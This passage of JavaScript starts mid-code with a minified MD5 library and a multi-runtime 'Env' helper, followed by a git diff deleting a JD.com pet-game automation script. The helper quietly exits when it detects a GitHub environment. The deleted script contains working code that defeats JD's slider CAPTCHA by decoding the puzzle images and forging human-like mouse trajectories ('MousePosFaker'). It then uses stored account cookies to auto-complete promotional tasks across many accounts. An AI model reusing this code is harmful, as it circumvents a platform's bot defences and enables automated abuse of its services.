e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_joy_new.js b/backUp/jd_joy_new.js deleted file mode 100644 index 68a747b..0000000 --- a/backUp/jd_joy_new.js +++ /dev/null @@ -1,1259 +0,0 @@ -/** - 脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js - IOS用户支持京东双账号,NodeJs用户支持N个京东账号 - 更新时间:2021-06-21 - 活动入口:京东APP我的-宠汪汪 - - 完成度 1%,要用的手动执行,先不加cron了 - 默认80,10、20、40、80可选 - export feedNum = 80 - 默认双人跑 - export JD_JOY_teamLevel = 2 - */ - -const $ = new Env("宠汪汪二代目") -console.log('\n====================Hello World====================\n') - -const http = require('http'); -const stream = require('stream'); -const zlib = require('zlib'); -const vm = require('vm'); -const PNG = require('png-js'); -const UA = require('./USER_AGENTS.js').USER_AGENT; -const fs = require("fs"); - - -Math.avg = function average() { - var sum = 0; - var len = this.length; - for (var i = 0; i < len; i++) { - sum += this[i]; - } - return sum / len; -}; - -function sleep(timeout) { - return new Promise((resolve) => setTimeout(resolve, timeout)); -} - -class PNGDecoder extends PNG { - constructor(args) { - super(args); - this.pixels = []; - } - - decodeToPixels() { - return new Promise((resolve) => { - this.decode((pixels) => { - this.pixels = pixels; - resolve(); - }); - }); - } - - getImageData(x, y, w, h) { - const {pixels} = this; - const len = w * h * 4; - const startIndex = x * 4 + y * (w * 4); - - return {data: pixels.slice(startIndex, startIndex + len)}; - } -} - -const PUZZLE_GAP = 8; -const PUZZLE_PAD = 10; - -class PuzzleRecognizer { - constructor(bg, patch, y) { - // console.log(bg); - const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); - const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); - - // console.log(imgBg); - - this.bg = imgBg; - this.patch = imgPatch; - this.rawBg = bg; - this.rawPatch = patch; - this.y = y; - this.w = imgBg.width; - this.h = imgBg.height; - } - - async run() { - await this.bg.decodeToPixels(); - await this.patch.decodeToPixels(); - - return this.recognize(); - } - - recognize() { - const {ctx, w: width, bg} = this; - const {width: patchWidth, height: patchHeight} = this.patch; - const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); - // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; - const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; - const lumas = []; - - for (let x = 0; x < width; x++) { - var sum = 0; - - // y xais - for (let y = 0; y < PUZZLE_GAP; y++) { - var idx = x * 4 + y * (width * 4); - var r = cData[idx]; - var g = cData[idx + 1]; - var b = cData[idx + 2]; - var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; - - sum += luma; - } - - lumas.push(sum / PUZZLE_GAP); - } - - const n = 2; // minium macroscopic image width (px) - const margin = patchWidth - PUZZLE_PAD; - const diff = 20; // macroscopic brightness difference - const radius = PUZZLE_PAD; - for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { - const left = (lumas[i] + lumas[i + 1]) / n; - const right = (lumas[i + 2] + lumas[i + 3]) / n; - const mi = margin + i; - const mLeft = (lumas[mi] + lumas[mi + 1]) / n; - const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; - - if (left - right > diff && mLeft - mRigth < -diff) { - const pieces = lumas.slice(i + 2, margin + i + 2); - const median = pieces.sort((x1, x2) => x1 - x2)[20]; - const avg = Math.avg(pieces); - - // noise reducation - if (median > left || median > mRigth) return; - if (avg > 100) return; - // console.table({left,right,mLeft,mRigth,median}); - // ctx.fillRect(i+n-radius, 0, 1, 360); - // console.log(i+n-radius); - return i + n - radius; - } - } - - // not found - return -1; - } - - runWithCanvas() { - const {createCanvas, Image} = require('canvas'); - const canvas = createCanvas(); - const ctx = canvas.getContext('2d'); - const imgBg = new Image(); - const imgPatch = new Image(); - const prefix = 'data:image/png;base64,'; - - imgBg.src = prefix + this.rawBg; - imgPatch.src = prefix + this.rawPatch; - const {naturalWidth: w, naturalHeight: h} = imgBg; - canvas.width = w; - canvas.height = h; - ctx.clearRect(0, 0, w, h); - ctx.drawImage(imgBg, 0, 0, w, h); - - const width = w; - const {naturalWidth, naturalHeight} = imgPatch; - const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); - // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; - const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; - const lumas = []; - - for (let x = 0; x < width; x++) { - var sum = 0; - - // y xais - for (let y = 0; y < PUZZLE_GAP; y++) { - var idx = x * 4 + y * (width * 4); - var r = cData[idx]; - var g = cData[idx + 1]; - var b = cData[idx + 2]; - var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; - - sum += luma; - } - - lumas.push(sum / PUZZLE_GAP); - } - - const n = 2; // minium macroscopic image width (px) - const margin = naturalWidth - PUZZLE_PAD; - const diff = 20; // macroscopic brightness difference - const radius = PUZZLE_PAD; - for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { - const left = (lumas[i] + lumas[i + 1]) / n; - const right = (lumas[i + 2] + lumas[i + 3]) / n; - const mi = margin + i; - const mLeft = (lumas[mi] + lumas[mi + 1]) / n; - const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; - - if (left - right > diff && mLeft - mRigth < -diff) { - const pieces = lumas.slice(i + 2, margin + i + 2); - const median = pieces.sort((x1, x2) => x1 - x2)[20]; - const avg = Math.avg(pieces); - - // noise reducation - if (median > left || median > mRigth) return; - if (avg > 100) return; - // console.table({left,right,mLeft,mRigth,median}); - // ctx.fillRect(i+n-radius, 0, 1, 360); - // console.log(i+n-radius); - return i + n - radius; - } - } - - // not found - return -1; - } -} - -const DATA = { - "appId": "17839d5db83", - "scene": "cww", - "product": "embed", - "lang": "zh_CN", -}; -const SERVER = '61.49.99.122'; - -class JDJRValidator { - constructor() { - this.data = {}; - this.x = 0; - this.t = Date.now(); - } - - async run() { - const tryRecognize = async () => { - const x = await this.recognize(); - - if (x > 0) { - return x; - } - // retry - return await tryRecognize(); - }; - const puzzleX = await tryRecognize(); - // console.log(puzzleX); - const pos = new MousePosFaker(puzzleX).run(); - const d = getCoordinate(pos); - - // console.log(pos[pos.length-1][2] -Date.now()); - // await sleep(4500); - await sleep(pos[pos.length - 1][2] - Date.now()); - const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}); - - if (result.message === 'success') { - console.log(result); - console.log('JDJRValidator: %fs', (Date.now() - this.t) / 1000); - return result; - } else { - console.count(JSON.stringify(result)); - await sleep(300); - return await this.run(); - } - } - - async recognize() { - const data = await JDJRValidator.jsonp('/slide/g.html', {e: ''}); - const {bg, patch, y} = data; - // const uri = 'data:image/png;base64,'; - // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); - const re = new PuzzleRecognizer(bg, patch, y); - const puzzleX = await re.run(); - - if (puzzleX > 0) { - this.data = { - c: data.challenge, - w: re.w, - e: '', - s: '', - o: '', - }; - this.x = puzzleX; - } - return puzzleX; - } - - async report(n) { - console.time('PuzzleRecognizer'); - let count = 0; - - for (let i = 0; i < n; i++) { - const x = await this.recognize(); - - if (x > 0) count++; - if (i % 50 === 0) { - // console.log('%f\%', (i / n) * 100); - } - } - - // console.log('successful: %f\%', (count / n) * 100); - console.timeEnd('PuzzleRecognizer'); - } - - static jsonp(api, data = {}) { - return new Promise((resolve, reject) => { - const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; - const extraData = {callback: fnId}; - const query = new URLSearchParams({...DATA, ...extraData, ...data}).toString(); - const url = `http://${SERVER}${api}?${query}`; - const headers = { - 'Accept': '*/*', - 'Accept-Encoding': 'gzip,deflate,br', - 'Accept-Language': 'zh-CN,en-US', - 'Connection': 'keep-alive', - 'Host': SERVER, - 'Proxy-Connection': 'keep-alive', - 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', - 'User-Agent': UA, - }; - const req = http.get(url, {headers}, (response) => { - try { - let res = response; - if (res.headers['content-encoding'] === 'gzip') { - const unzipStream = new stream.PassThrough(); - stream.pipeline( - response, - zlib.createGunzip(), - unzipStream, - reject, - ); - res = unzipStream; - } - res.setEncoding('utf8'); - - let rawData = ''; - - res.on('data', (chunk) => rawData += chunk); - res.on('end', () => { - try { - const ctx = { - [fnId]: (data) => ctx.data = data, - data: {}, - }; - vm.createContext(ctx); - vm.runInContext(rawData, ctx); - res.resume(); - resolve(ctx.data); - } catch (e) { - console.log('生成验证码必须使用大陆IP') - } - }) - } catch (e) { - } - }) - - req.on('error', reject); - req.end(); - }); - } -} - -function getCoordinate(c) { - function string10to64(d) { - var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") - , b = c.length - , e = +d - , a = []; - do { - mod = e % b; - e = (e - mod) / b; - a.unshift(c[mod]) - } while (e); - return a.join("") - } - - function prefixInteger(a, b) { - return (Array(b).join(0) + a).slice(-b) - } - - function pretreatment(d, c, b) { - var e = string10to64(Math.abs(d)); - var a = ""; - if (!b) { - a += (d > 0 ? "1" : "0") - } - a += prefixInteger(e, c); - return a - } - - var b = new Array(); - for (var e = 0; e < c.length; e++) { - if (e == 0) { - b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); - b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); - b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) - } else { - var a = c[e][0] - c[e - 1][0]; - var f = c[e][1] - c[e - 1][1]; - var d = c[e][2] - c[e - 1][2]; - b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); - b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); - b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) - } - } - return b.join("") -} - -const HZ = 60; - -class MousePosFaker { - constructor(puzzleX) { - this.x = parseInt(Math.random() * 20 + 20, 10); - this.y = parseInt(Math.random() * 80 + 80, 10); - this.t = Date.now(); - this.pos = [[this.x, this.y, this.t]]; - this.minDuration = parseInt(1000 / HZ, 10); - // this.puzzleX = puzzleX; - this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); - - this.STEP = parseInt(Math.random() * 6 + 5, 10); - this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; - // [9,1600] [10,1400] - this.STEP = 9; - // this.DURATION = 2000; - // console.log(this.STEP, this.DURATION); - } - - run() { - const perX = this.puzzleX / this.STEP; - const perDuration = this.DURATION / this.STEP; - const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; - - this.pos.unshift(firstPos); - this.stepPos(perX, perDuration); - this.fixPos(); - - const reactTime = parseInt(60 + Math.random() * 100, 10); - const lastIdx = this.pos.length - 1; - const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; - - this.pos.push(lastPos); - return this.pos; - } - - stepPos(x, duration) { - let n = 0; - const sqrt2 = Math.sqrt(2); - for (let i = 1; i <= this.STEP; i++) { - n += 1 / i; - } - for (let i = 0; i < this.STEP; i++) { - x = this.puzzleX / (n * (i + 1)); - const currX = parseInt((Math.random() * 30 - 15) + x, 10); - const currY = parseInt(Math.random() * 7 - 3, 10); - const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); - - this.moveToAndCollect({ - x: currX, - y: currY, - duration: currDuration, - }); - } - } - - fixPos() { - const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; - const deviation = this.puzzleX - actualX; - - if (Math.abs(deviation) > 4) { - this.moveToAndCollect({ - x: deviation, - y: parseInt(Math.random() * 8 - 3, 10), - duration: 250, - }); - } - } - - moveToAndCollect({x, y, duration}) { - let movedX = 0; - let movedY = 0; - let movedT = 0; - const times = duration / this.minDuration; - let perX = x / times; - let perY = y / times; - let padDuration = 0; - - if (Math.abs(perX) < 1) { - padDuration = duration / Math.abs(x) - this.minDuration; - perX = 1; - perY = y / Math.abs(x); - } - - while (Math.abs(movedX) < Math.abs(x)) { - const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); - - movedX += perX + Math.random() * 2 - 1; - movedY += perY; - movedT += this.minDuration + rDuration; - - const currX = parseInt(this.x + movedX, 10); - const currY = parseInt(this.y + movedY, 10); - const currT = this.t + movedT; - - this.pos.push([currX, currY, currT]); - } - - this.x += x; - this.y += y; - this.t += Math.max(duration, movedT); - } -} - -function injectToRequest(fn) { - return (opts, cb) => { - fn(opts, async (err, resp, data) => { - if (err) { - console.error('Failed to request.'); - return; - } - - if (data.search('验证') > -1) { - console.log('JDJRValidator trying......'); - const res = await new JDJRValidator().run(); - - opts.url += `&validate=${res.validate}`; - fn(opts, cb); - } else { - cb(err, resp, data); - } - }); - }; -} - -let cookiesArr = [], cookie = '', notify; -$.get = injectToRequest($.get.bind($)) -$.post = injectToRequest($.post.bind($)) - -!(async () => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - if (!require('./JS1_USER_AGENTS').HelloWorld) { - console.log(`\n【京东账号${$.index}】${$.nickName || $.UserName}:运行环境检测失败\n`); - continue - } - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - message = ''; - subTitle = ''; - - await run('detail/v2'); - await run(); - await feed(); - - let tasks = await taskList(); - for (let tp of tasks.datas) { - console.log(tp.taskName, tp.receiveStatus) - - if (tp.receiveStatus === 'unreceive') { - await award(tp.taskType); - await $.wait(3000); - } - if (tp.taskName === '浏览频道') { - for (let i = 0; i < 3; i++) { - console.log(`\t第${i + 1}次浏览频道 检查遗漏`) - let followChannelList = await getFollowChannels(); - for (let t of followChannelList['datas']) { - if (!t.status) { - console.log('┖', t['channelName']) - await beforeTask('follow_channel', t.channelId); - await doTask(JSON.stringify({"channelId": t.channelId, "taskType": 'FollowChannel'})) - await $.wait(3000) - } - } - await $.wait(3000) - } - } - if (tp.taskName === '逛会场') { - for (let t of tp.scanMarketList) { - if (!t.status) { - console.log('┖', t.marketName) - await doTask(JSON.stringify({ - "marketLink": `${t.marketLink || t.marketLinkH5}`, - "taskType": "ScanMarket" - })) - await $.wait(3000) - } - } - } - if (tp.taskName === '关注商品') { - for (let t of tp.followGoodList) { - if (!t.status) { - console.log('┖', t.skuName) - await beforeTask('follow_good', t.sku) - await $.wait(1000) - await doTask(`sku=${t.sku}`, 'followGood') - await $.wait(3000) - } - } - } - if (tp.taskName === '关注店铺') { - for (let t of tp.followShops) { - if (!t.status) { - await beforeTask('follow_shop', t.shopId); - await $.wait(1000); - await followShop(t.shopId) - await $.wait(2000); - } - } - } - } - } - } -})() - -function getFollowChannels() { - return new Promise(resolve => { - $.get({ - url: `https://jdjoy.jd.com/common/pet/getFollowChannels?reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE`, - headers: { - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'content-type': 'application/x-www-form-urlencoded', - 'referer': '', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : 